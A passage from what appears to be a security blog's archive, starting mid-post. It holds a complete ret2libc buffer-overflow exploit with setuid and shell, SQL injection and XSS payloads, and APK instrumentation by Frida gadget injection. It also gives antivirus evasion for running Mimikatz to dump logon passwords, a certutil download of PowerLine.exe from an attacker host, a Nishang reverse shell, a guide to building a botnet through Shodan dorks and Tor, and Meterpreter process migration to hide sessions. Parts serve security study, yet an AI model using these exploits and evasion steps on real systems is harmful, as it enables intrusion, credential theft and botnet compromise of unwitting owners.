plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

p.interactive(prompt="")

Now we could search for system and /bin/sh to spawn a shell:

system (0x449c0)

readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep system
  1418: 00000000000449c0    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

/bin/sh (0x181519)

strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 |grep /bin/sh
 181519 /bin/sh

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x449c0
libc_sh = 0x181519

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

payload = junk + pop_rdi + sh + sys

p.sendline(payload)
p.recvline()
p.recvline()

p.interactive(prompt="")

Let check the exploit:

$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ python exploit.py
[+] Starting local process './jl_bin': pid 2071
[+] Leaked puts@GLIBC: \x105\xb7\x7f\x00\x00
[*] glibc offset: 7fb73516c000
[*] Switching to interactive mode
id
uid=1000(test) gid=1000(test) groups=1000(test)

The shell works! But we have not escalate privileges… we need to invoke setuid before calling the shell.

> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep setuid
    25: 00000000000c7500   144 FUNC    WEAK   DEFAULT   13 setuid@@GLIBC_2.2.5

Full exploitation

The final exploit would be:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

#unpack again
leaked_puts = u64(leaked_puts)

libc_put = 0x71910

offset = leaked_puts - libc_put

log.info("glibc offset: %x" % offset)

libc_sys = 0x449c0
libc_sh = 0x181519

sys = p64(offset + libc_sys)
sh = p64(offset + libc_sh)

# setuid
setuid = p64(0x0)
libc_setuid = p64(0xc7500 + offset)

payload = junk + pop_rdi + setuid + libc_setuid + pop_rdi + sh + sys

p.sendline(payload)
p.recvline()
p.recvline()

p.interactive(prompt="")

And the exploitation:

References:

Frida on non-rooted Android devices

2019-05-18T00:00:00+02:00

Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.

Frida allows:

Injection of your own scripts into black box processes.
Hook any function.
Spy on crypto APIs or trace private application code.
Disable SSL Pinning and root checkers.

Frida is one of the best tools to use during an application penetration testing.

Why install Frida in a non-rooted Android device?

The most frequent installation of Frida is described here and consists in running a Frida server in the rooted device as a process:

$ adb root # might be required
$ adb push frida-server /data/local/tmp/ 
$ adb shell "chmod 755 /data/local/tmp/frida-server"
$ adb shell "/data/local/tmp/frida-server &"

Then a conection with the Frida client is done and the instrumentation begins.

frida-ps -U

  PID NAME
 1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android

The injection is done with ptrace by attaching or spawning a process and then injecting the agent. Once the agent is injected, it communicates with its server through a pipe. ptrace can’t be used as a normal user. To address this constraint, Frida provides another mode of operation called embedded. In this mode the user is responsible to inject the frida-gadget library.

Moreover, there are some situations that is not possible to have a rooted phone but still you need to use Frida.

I suggest two methods to inject the Frida Gadget:

Using LIEF to inject Frida Gadget in the libraries of the APK
Using Objection and modifying the Dalvik bytecode

Using LIEF to inject Frida Gadget in the libraries of the APK

Executable formats include libraries that are linked with executable. In the loading phase of the executable, the loader iterates over these libraries and map them in the memory space of the process. Once mapped it calls its constructor. The idea is to add frida-agent.so as a dependency of native libraries embedded in the APK.

Based of the awesome job of Romain Thomas @rh0main, I have written a small script to automate the ELF gadget injection with LIEF. It can be downloaded here:

Frida Gadget Lief Injector

The script does the following:

1 Unzips the APK passed as input.
2 Asks for the architecture of the Android device. There are two options: The architecture is known, then the gadget is injected only for that architecture. The architecture is unknow, then the gadget is injected in all architectures.
3 Asks for the library to be injected, then downloads the last gadget from Frida repository and injects it.
4 Removes the old signature.
5 Generates the APK with the name my_app.apk

Requirements

Python 3.6 

pip install https://github.com/lief-project/packages/raw/lief-master-latest/pylief-0.9.0.dev.zip
pip install xtract

Usage

python frida_lief_injection.py



[+] Enter the path of your APK: original.apk
[+] Unzip the original.apk in /tmp/tmpknzr8dx4_lief_frida
[+] Select the architecture of your system: 
If you don't know run: adb shell getprop ro.product.cpu.abi

1) armeabi
2) arm64-v8a
3) x86
4) armeabi-v7a
5) x86_64
6) I don't know. Inject frida-gadget for all architectures (slower)

> 4

[+] In with library do you want to inject?: 
 
1) libshinobicharts-android.so
2) libmodpng.so
3) libpl_droidsonroids_gif.so
4) libmodft2.so
5) libjniPdfium.so
6) libmodpdfium.so

[+] Enter the number of the desired library: 
> 1
[+] Downloading and extracting frida gadget for: armeabi-v7a
[+] Injecting libgdgt.so into armeabi-v7a/libshinobicharts-android.so

[*] Removing old signature
[+] APK Building...
[+] SUCCESS!! Your new apk is : my_app.apk. Now you should sign it.

Signing the APK

Generation of the keystore:

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Signing:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_app.apk alias_name

Frida Injection

The first error is because Frida needs to be executed when the app is opened and the library loaded. If we inject in a library that is used under some circumstances, those circumstances must be followed to activate the Frida gadget.

If the APK is decompiled or the temporary directory that the script generates is analyzed, the ELF injection could be observer with readelf:

root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# ls
libgdgt.so  libtmessages.30.so
root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# readelf -d libtmessages.30.so | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libgdgt.so]
 0x00000001 (NEEDED)                     Shared library: [libjnigraphics.so]
 0x00000001 (NEEDED)                     Shared library: [liblog.so]
 0x00000001 (NEEDED)                     Shared library: [libz.so]
 0x00000001 (NEEDED)                     Shared library: [libEGL.so]
 0x00000001 (NEEDED)                     Shared library: [libGLESv2.so]
 0x00000001 (NEEDED)                     Shared library: [libandroid.so]
 0x00000001 (NEEDED)                     Shared library: [libOpenSLES.so]
 0x00000001 (NEEDED)                     Shared library: [libdl.so]
 0x00000001 (NEEDED)                     Shared library: [libstdc++.so]
 0x00000001 (NEEDED)                     Shared library: [libm.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so]
root@kali:/tmp/tmp9fqng8xe_lief_frida/lib/armeabi-v7a# 

Reading depedencies of libtmessages.30.so, libgdgt.so is the first loaded and corresponds to the Frida Gadget.

Using Objection and modifying the Dalvik bytecode

Objection is a runtime mobile exploration toolkit, powered by Frida. It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device.

Objection includes a module called patchapk that does the following:

1 Detects the architecure of the Android device using ADB.
2 Unzips the APK passed as input.
3 Check if the App has android.permission.INTERNET, if not it rewrites AndroidManifest.xml.
4 Get the first activity launched from the AndroidManifest.xml.

5 Injects the frida gadget in the constructor.

const-string v0, "frida-gadget"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

6 Copies Frida gadget to libs path.
7 Rebuild the APK and signs it.

After the new APK is installed, the Frida gadget is injected and Objection can start the instrumentation:

Considerations:

Some applications performs integrity checks and these methods will not work.
Both methods need android.permission.INTERNET in AndroidManifest.xml. If this is not in the manifest, add it and rebuild the APK.
For method 1. Using LIEF to inject Frida Gadget in the libraries of the APK, the App must use at least one library.

References:

Second Order SQLI: Automating with sqlmap

2019-04-29T00:00:00+02:00

SQL Injection is one of the most frequents attacks around the history of web application penetration testing, for this reason, is included every year in the Top 1 of OWASP Top 10 vulnerabilities.

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.

What is a Second Order SQL Injection?

Second-order SQL injections occur when an SQL query is injected into the application through an input parameter, but the payload is not incorporated into the same query where the parameter is injected, but it is injected in another query that consumes this attribute. In conclusion, the injection and the response take place in different parts of the website.

Analysis

The following web page is a Proof of Concept website that allows to upload some images to the server, using the endpoint create.php.

After a success upload, the image is shown in index.php with the number of views of each image.

The source code can be found here.

In a web penetration test, running SQLMap without a previous analysis is quite common but is not effective. The best way to proceed, in my opinion, is to try to perform a manual injection first and proceed to automate the extraction process.

Firstly, a basic injection of a ' character is enough in this case to try to figure if the application is vulnerable. The request is intercepted with burp an the filename is renamed to Jake'.png. The result is the following:

Could you see something weird? The view counter has disappeared… maybe there is an error trying to query it.

Another common payload could be used to try to create a valid SQL syntax Jake ' or '1'='1'#.png, and the result is the following.

Perfect! It seems that we can inject valid SQL syntax. Let’s try a UNION payload to make the data retrieval faster: Jake ' UNION SELECT 101,102,103,104#.png.

We know that the queries inserted in the third value (103) are reflected in the response, therefore Jake ' UNION SELECT 101,102,@@version,104#.png. Shows:

Database Extraction

Now that an injection point has been discovered, is time to automate the database retrieval with sqlmap:

Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

But, there is a problem to achieve a valid automation of the attack, the injection part is in the filename after a valid POST in the create.php endpoint and the result is in the index.php endpoint__.

Although sqlmap has the --second-url and --second-req= attributes, in some situations, using both parameters may not be enough for successful exploitation. A nice approach is to use a custom proxy.

1 Sqlmap points to our localhost proxy
2 The proxy uploads the file to the server using the payload as filename
3 The proxy retrieves the response and executes a regex to present the result to sqlmap
4 Sqlmap tries different payloads until the injection is achieved

The code of the proxy is the following (Python2):

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import parse_qs
import cgi
import requests
import json
import base64
import urllib
import re

class GP(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
    def do_HEAD(self):
        self._set_headers()
    def do_GET(self):
        self._set_headers()

        # Reading payload
        query = parse_qs(self.path[2:])
        payload = query["payload"][0]
        
        # POST file (CHANGE url_Website)
        url = 'http://url_website/sqli/public/create.php'

        # Uncomment to use a real file (name it 1.jpg in the server.py folder)
        #files = {'file': (payload,open('1.jpg','rb'))}

        # Using a b64 magic number to simulate the file 
        files = {'image': (payload,base64.b64decode('/9g='))}
        

        # Uncomment for Burp interception
        
        '''
        proxies = {
                'http': 'http://127.0.0.1:8080',
                'https': 'http://127.0.0.1:8080'
                }

        r = requests.post(url, files=files, proxies=proxies, verify=False)
        
        '''

        # No Burp interception

        # Get response (CHANGE url_Website)

        r = requests.post(url, files=files, verify=False)

        url = "http://url_Website/sqli/public/index.php"
        response = requests.get(url,verify=False)

        # Replace parenthesis to not break regex
        payload = payload.replace(")", "\)")
        payload = payload.replace("(", "\(")
        # regex to serach the response
        z= re.search('<div class=\"imageDiv\">\n.*\n.*\n.*'+payload+'.*\n.*\n.*<\/div>',str(response.text))

        if z:
            self.wfile.write(z.group(0))

        
        
    def do_POST(self):
        self._set_headers()
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD': 'POST'}
        )
        print form.getvalue("foo")
        print form.getvalue("bin")
        self.wfile.write("<html><body><h1>POST Request Received!</h1></body></html>")

def run(server_class=HTTPServer, handler_class=GP, port=8088):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Server running at localhost:8088...'
    httpd.serve_forever()

run()

The sqlmap command will be the follow:

python2 sqlmap.py -u http://localhost:8088/?payload= -p payload --suffix="#.png" --technique=U --union-char='hihi' --union-cols=4

-u http://localhost:8088/?payload= : Our local proxy to perfom the file upload and the response retrieval.
-p payload : Parameter with sqlmaps payloads
--suffix="#.png" : Force the end of the filename with #.png to bypass file extension filters and comment the extension to avoid a wront SQL syntax.
--technique=U : Force the use of UNION technique as shown in the manual anaylisis.
--union-cols=4: Force the use of 4 columns as shown in the manual anaylisis to the the injection.

Triggering the following:

Extra XSS

Filenames are a good place to exploit Cross-Site Scripting (XSS). In this case, with a payload of Jake" onerror="alert( `XSS `)" test=".png the XSS execution is achieved:

Injection into the src value:

Powershell AV Evasion. Running Mimikatz with PowerLine

2019-01-27T00:00:00+01:00

Once Remote Code Execution on a computer has been achieved, it is important to get a satisfactory post-exploitation. Running a series of PowerShell tools is interesting to facilitate this work: Meterpreter, Mimikatz, PowerView, PowerUp, Inveigh, etc.

Old evasions

PowerShell is present by default on all Windows 7+ and is becoming the most common way to execute desired scripts in Windows. For this reason, products are starting to block or alert on the use of PowerShell.

After some searches, lots of Invoke-Mimikatz.ps1 evasion articles were found. In these articles, the Mimikatz script is modified to avoid AV detection without changing the functionality with the following commands:

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1

sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1

sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1

Once tested, it is checked that antivirus detect this behavior, so it is not effective in the post-exploitation phase.

Powerline

Powerline is a fantastic tool created by Brian Fehrman (@fullmetalcache) that allows to call PowerShell scripts. It is written in C# (does not call PowerShell directly), and can be used purely from Command Line.

More information:

Deployment

The deployment is very easy and modular. To have a functional version of PowerLine, the following steps must be followed:

1 Download the Repository: https://github.com/fullmetalcache/PowerLine
2 Run the build.bat file
3 Update the UserConf.xml document to contain the URLs of the scripts that you’d like to include
4 Run the PLBuilder.exe file
5 The PowerLine.exe program should now be created and contains embedded, xor-encoded, base64-encoded versions of all of the scripts that you specified

Execution

If all the deployment steps were successful, The PowerLine.exe executable should be sent to the victim. In this case, certutil tool is used to get the executable from a remote host.

certutil -urlcache -split -f http://atackerIP/PowerLine.exe PowerLine.exe

And after the execution of the Invoke-Mimikatz script:

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"sekurlsa::logonPasswords`\"\""

The Antivirus is bypassed and the code successfully executed:

Windows 10 problem:

There are some problems running Invoke-Mimikatz with new versions of Windows 10. To solve this, replace the Invoke-Mimikatz url in UserConf.xml to point to:

https://raw.githubusercontent.com/EmpireProject/Empire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1

Error thrown:

Fix:

Reverse Shell with Nishang:

In UserConf.xml file, custom ps1 could be specified, in this case, the following line is added to use Nishang reverse shell:

<Remote>https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1</Remote>

Setting a listener with netcat:

nc -lvp ATTACKER_IP

Could allow us to retrieve a PowerShell Reverse Shell and bypass AV detection:

PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.35 -Port 14744"

XSS 101 - Solving Google's XSS Challenge

2018-12-16T00:00:00+01:00

What is a Cross-Site Scripting vulnerability?

Cross-site scripting (XSS) is a security bug that can affect websites. If present in your website, this bug can allow an attacker to add their own malicious JavaScript code onto the HTML pages displayed to your users. Once executed by the victim’s browser, this code could then perform actions such as completely changing the behavior or appearance of the website, stealing private data, performing actions on behalf of the user, save keystrokes, analyze the internal network, etc.

XSS vulnerabilities most often happen when user input is incorporated into a web server’s response (i.e., an HTML page) without proper escaping or validation. More info

XSS Challenge

Google set up an environment to test some XSS vulnerabilities: https://xss-game.appspot.com/.

In this training program, you will learn to find and exploit XSS bugs. You’ll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.

I totally recommend to test by yourself and check this blog if you get stuck and need an extra hint.

XSS Challenge 1 - Hello, world of XSS

In this application an input text is shown to try some searches. The detection of a possible XSS is important and we need to identify all possible reflections in the application to find a potential attack vector.

If we try some searches, we could observe that the URL is filled with the param query= and our search. Let’s try to inject some malicious characters to test how the application handles it.

<div>
Sorry, no results were found for <b>laja&lt;</b>. <a href="?">Try again</a>.
</div>

The character < that could allow us to create a new HTML element is encoded (<), and our browser will not execute it as an html tag… Let’s try to inject <script to see what happens.

If we analyze the response we can see that the character now is not encoded (<script), therefore, the browser could interpret it and execute some code.

<div>
Sorry, no results were found for <b>laja<script< b="">. <a href="?">Try again</a>.</script<></b>
</div>

Let’s finish our payload to execute some alert. In XSS, alert’s are used to check if a correct JavaScript injections is performed, because is harmless and is easily identifiable.

This XSS are called reflected XSS because they are non-persistent XSS attacks and the payload should be included in the URL to perfom a successful exploitation.

https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>

XSS Challenge 2 - Persistence is key

This application is a chat. Chat conversations are stored in a database and retrieved when a user wants to see the conversation. Therefore, if a malicious user injects some JavaScript code, all visitors will be infected. These XSS is more harmful that reflected XSS, and is called stored XSS. An attacker will only need to force the user to visit the site where the payload is stored, the attacker doesn’t need to send the payload in the URL.

In the enumeration phase, if we try to inject some malicious payloads, like <script>alert(1)</script>, we see that the code is not being executed.

Maybe we can not inject the <script> tag… let’s try some different execution.

In HTML, we could use HTML Event Attributes that gives the ability to let events trigger actions in a browser, like starting a JavaScript when a user clicks on an element.

So if we insert and image, with a source that doesn’t exists and we call the event onerror we could perform JavaScript actions… perfect. The following payload will be used. <img src=x onerror="alert(1)"/>

If a user visits the page, the stored XSS will be triggered:

There are a lot of possible payloads to solve this level:

<svg onload='alert(1)'/>

<input autofocus onfocus=alert(1)>

<video><source onerror="JavaScript:alert(1)">

<marquee onstart=alert(1)>

XSS Challenge 3 - That sinking feeling…

We see a web application with some buttons that loads different images. If we click in a button Image 3, we could observe that the following URL is created: https://xss-game.appspot.com/level3/frame#3 and the image is changed.

Let’s try to navigate to a different image that is not offered:

If we analyze the attribute <img that fails to load we could see:

<img src="/static/level3/cloud4.jpg">

Could be possible to inject some attributes in the url?

https://xss-game.appspot.com/level3/frame#4" onerror="alert(1)"

Double quotes are encoded and we can’t scape the src attribute:

<img src="/static/level3/cloud4&quot; onerror=&quot;alert(1)&quot;.jpg">

We should debug the Javacript code to find how the <img attribute is constructed:

1 When we click the button Image3 the function chooseTab() is triggered:

< div class="tab" id="tab3" onclick="chooseTab('3')">Image 3 </ div>

2 Debugging this functions with our browser, shows us that the payload is parsed to int, and added to the <img attribute as following:
```
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
```
3 Let’s try to inject 4laja' onerror='alert(1)' and debug it:

4 The final <img attribute will contain:

<img src='/static/level3/cloud4laja' onerror='alert(1)'.jpg'/>

XSS Challenge 4 - Context matters

This application is a timer. When we introduce some number, a countdown starts and when it finish, the application alerts that the countdown is finished. Let’s try to inject some potential payload to see how the applications handles is:

If we analyze the code, the following is observed:

<body id="level4">
    <img src="/static/logos/level4.png">
    <br>
    <img src="/static/loading.gif" onload="startTimer('1000<img src=x/>');">
    <br>
    <div id="message">Your timer will execute in 1000&lt;img src=x/&gt; seconds.</div>

</body>

The content of <div id="message"> is encoded, but the payload is introduced in the the event onload="startTimer('1000<img src=x/>');".

If wee inject a simple quote ' and check the JavaScript console of the browser, the following error is shown:

The next step is try to inject some payload that escapes the content of the function startTimer and without breaking the JavaScript code, let us execute the alert function.

1 We need to close the startTimer() function correctly. 1000') will be enough to close the function: onload="startTimer('1000')');.
2 Now, we have to fill with a function and seize the remaining ') to have a correct JavaScript syntax, for example: alert('hi
3 We need to concatenate the two functions, using , or | for example. The final payload will be: 1000'),alert('hi The final element will be:
```
  <img src="/static/loading.gif" onload="startTimer(1000'),alert('hi');">
```

XSS Challenge 5 - Breaking protocol

This XSS is a bit different, in the Mission Description the following is described:

Cross-site scripting isn’t just about correctly escaping data. Sometimes, attackers can do bad things even without injecting new elements into the DOM.

DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. More info

The application have three different pages:

1 Home page with the option Sign up.
2 Page with email input.
3 Confirmation page that to Home.

In the page number 2, the param next in the URL could be a potential attack vector https://xss-game.appspot.com/level5/frame/signup?next=confirm, let’s try to inject some website in the next parameter.

If a user enters it’s email and click in next, the redirection is performed.

This attack is called Open redirect and could allow an attacker to send a malicious payload as the following https://xss-game.appspot.com/level5/frame/signup?next=https://evilsite.com. Attacker could place a phishing website to trick the victim to reenter credentials and steal it, for example.

An interesting feature is the Javacript protocol, which lets you execute statements rather than loading a new document. For example, if you create a link <a href="javascript:alert('Hello World')">Click Here</a> a JavaScript alert will be executed.

Taking advantage of this. if we send a victim the following URL: https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('hi'), after the victim introduces the email and clicks Next, the XSS will be triggered.

XSS Challenge 6 - Follow the 🐇

In this application, some external JavaScript is retrieved. If we analyze the url https://xss-game.appspot.com/level6/frame#/static/gadget.js the script /static/gadget.js is loaded. We have to try to inject some external JavaScript with the desired alert content. To access to an external JavaScript, I have submitted it on Pastebin with the following content:

If we point the application to our pastebin: https://xss-game.appspot.com/level6/frame#https://pastebin.com/raw/ng3qjzgz, the following message is shown:

Analyzing the source code, a filter is detected:

      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

If the URL matches http:// or https://, the gadged will not be load. What happens if we change the url to Https or hTtps?

Another interesting feature to use in this challenge is the use of Data URLs. For example:

https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')

https://xss-game.appspot.com/level6/frame#data:text/html;base64,YWxlcnQoJ2hpJyk=

Conclusions

We have solved the Google XSS Challenge and understood how XSS works at a basic level. As you can see, the execution of an XSS occurs when there is not a correct validation of the data and an understanding of the threat. From the point of view of an attacker, there are many techniques to achieve the exploitation of the threat.

References:

Building a botnet with Shodan

2018-12-02T00:00:00+01:00

This article is for educational and prevention purposes.

What is a Botnet?

According to Akami, a botnet is composed of a number of Internet-connected devices, like computers or IoT devices, each of which is running one or more bots. Botnet owners control them using command and control (C&C) software to perform a variety of (typically malicious) activities that require large-scale automation. These include:

Distributed denial-of-service (DDoS) attacks that cause unplanned application downtime
Validating lists of leaked credentials (credential-stuffing attacks) leading to account takeovers
Web application attacks to steal data
Providing an attacker access to a device and its connection to a network

What is Shodan?

Shodan is a search engine that lets the user find specific types of computers (webcams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client. This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server.

Therefore, Shodan allows in an easy way the discovery of potentially vulnerable servers, devices, routers, etc.

How to create a botnet?

1 Identifying vulnerable servers
2 Anonymizing the connection
3 Infecting the systems and controlling the bots

1. Identifying vulnerable servers

A dork is a query that with the correct searchwords, could identify a vulnerable server. For example, searching shodan dork in Twitter could help to identify potential entry points.

For example:

authentication disabled port:445 : SMB Servers listing some folders. It could allow to read arbitrary data.
Enable and Telnet passwords are configured : Strange banners that give information on headers. Maybe they are honeypots.
“authentication disabled” port:5900,5901 : VNC server without authentication. It includes screenshots of the server.
port:”3389”: RDP servers. It includes screenshots of the server.

2. Anonymizing the connection

It is very important not to use the current public IP leased by the ISP to prevent any possible identificacion. A good way to try to navigate anonymously is by using TOR. It is not enough to download TOR browser, because all reamining connections could leak our public IP. I propose two ways to retrieve anonymity:

2.1 TOR + Torsocks

Install a TOR proxy server locally to route all traffic through TOR. More info (left pane)

Install Torsocks. Torsocks is a library to allow transparent SOCKS proxying. It wraps the normal connect() function. When a connection is attempted, it consults the configuration file and determines if the IP address specified is local. If it is not, the library redirects the connection to a SOCKS server specified in the configuration file. It then negotiates that connection with the SOCKS server and passes the connection back to the calling program. It also ensures DNS queries are handled correctly and explicitly blocks all UDP traffic from the application in question.

After installing both, we could check the following.

Tor proxy Server is running

tor
Dec 02 13:14:22.147 [notice] Tor 0.3.1.9 (git-727d3f1b5e6eeda7) running on Darwin with Libevent 2.1.8-stable, OpenSSL 1.0.2p, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.
Dec 02 13:14:22.147 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
Dec 02 13:14:22.148 [notice] Read configuration file "/usr/local/etc/tor/torrc".
Dec 02 13:14:22.151 [notice] Opening Socks listener on 127.0.0.1:9050
Dec 02 13:14:22.151 [notice] Opening Control listener on 127.0.0.1:9051
Dec 02 13:14:22.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.3.1.9/share/tor/geoip.
Dec 02 13:14:22.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.3.1.9/share/tor/geoip6.
Dec 02 13:14:22.000 [notice] Bootstrapped 0%: Starting
Dec 02 13:14:22.000 [notice] Starting with guard context "default"
Dec 02 13:14:22.000 [notice] Bootstrapped 80%: Connecting to the Tor network
Dec 02 13:14:23.000 [notice] Bootstrapped 85%: Finishing handshake with first hop
Dec 02 13:14:23.000 [notice] Bootstrapped 90%: Establishing a Tor circuit
Dec 02 13:14:24.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.
Dec 02 13:14:24.000 [notice] Bootstrapped 100%: Done

Command shells programms are navigating anonymously

Command shells programms sould be run with the following syntax: torsocks <program> to force using torsocks. Some folders are protected from LD_PRELOAD, the best solution is to copy the binary locally and to execute like the following video:

DNS leaks could be checked in https://www.dnsleaktest.com/ to ensure that anonymity works correctly.

2.2 Whonix

Whonix is a desktop operating system designed for advanced security and privacy. Whonix mitigates the threat of common attack vectors while maintaining usability. Online anonymity is realized via fail-safe, automatic, and desktop-wide use of the Tor network. A heavily reconfigured Debian base is run inside multiple virtual machines, providing a substantial layer of protection from malware and IP address leaks. Commonly used applications are pre-installed and safely pre-configured for immediate use. The user is not jeopardized by installing additional applications or personalizing the desktop. Whonix is under active development and is the only operating system designed to be run inside a VM and paired with Tor.

3. Infecting systems and controlling the bots

Once a secure connection has been established, the final part is to identify potentional victims. Victims are required to have a Remote Code Execution vulnerability. For example.

OpenDreamBox 2.0.0 - Plugin WebAdmin RCE More info
Jenkins manage plugins Groovy RCE More info

The final step is to infect with an agent of a Command & Control, for example Merlin.

All the process could be automated using Shodan's API and the desired exploit in each scenario.

Conclusions

It is very important to identify what services we have exposed to the internet. We should check the configuration of our Router and Firewall, and search our public IP in webpages like Shodan or Censys. If we need to have a service opened, establish a strong authentication and update to the last version, trying to patch all detected vulnerabilities. It is a better practice to establish a VPN to reach these services in a safer way.

References

Shodan

Twitter Dorks

Process migration in Meterpreter

2018-11-26T00:00:00+01:00

What is process migration in Meterpreter?

After a successful exploitation, such as, tricking a victim to execute a Meterpreter executable, gaining RCE an executing a generated Meterpreter payload with Unicorn, propagating shells with multirelay… Sometimes, Meterpreter process has to be migrated to:

Hiding the process to gain persistence and avoid detection.
Change the process architecture to execute some payloads with the corrent architecture. For example, if there is a 64-bits system and our meterpreter process is 86-bits, some architecture-related problems could happen if we try to execute some exploits against the session gained.
Migrate to a more stable process.

How it works?

1 A metasploit handler is configured to retrieve a meterpreter sessions.
2 Processes are listed to select the desired one to migrate (ps command).
3 Migrate to the desired process (migrate <PID>)

In the following example, the meterpreter session is retrieved in an .exe file that creates the process goodFile.exe. This process is quite noisy, if the user closes this process, the session will be closed. Therefore, migrating to a more stable process like explorer.exe would give us the ability to hide the meterpreter session and gain persistance.

Attacker’s view:

Victim’s view:

Debugging MSFConsole

MSFConsole could be easily debugged with Pry-Byebug. The installation is easy and described in the previous link. Now, we have to edit msfconsole binary to show the use of pry-byebug.

> vim msfconsole

Insert require 'pry-byebug'

#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# This user interface provides users with a command console interface to the
# framework.
#

#
# Standard Library
#

require 'pathname'
require 'pry-byebug'

if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true'

Now, in the meterpreter source code, we introduce binding.pry in the line desired line that the debugger should stop.

vim lib/rex/post/meterpreter/client_core.rb

#
  # Migrates the meterpreter instance to the process specified
  # by pid.  The connection to the server remains established.
  #
  def migrate(target_pid, writable_dir = nil, opts = {})
    binding.pry

    keepalive              = client.send_keepalives
    client.send_keepalives = false
    target_process         = nil
    current_process        = nil

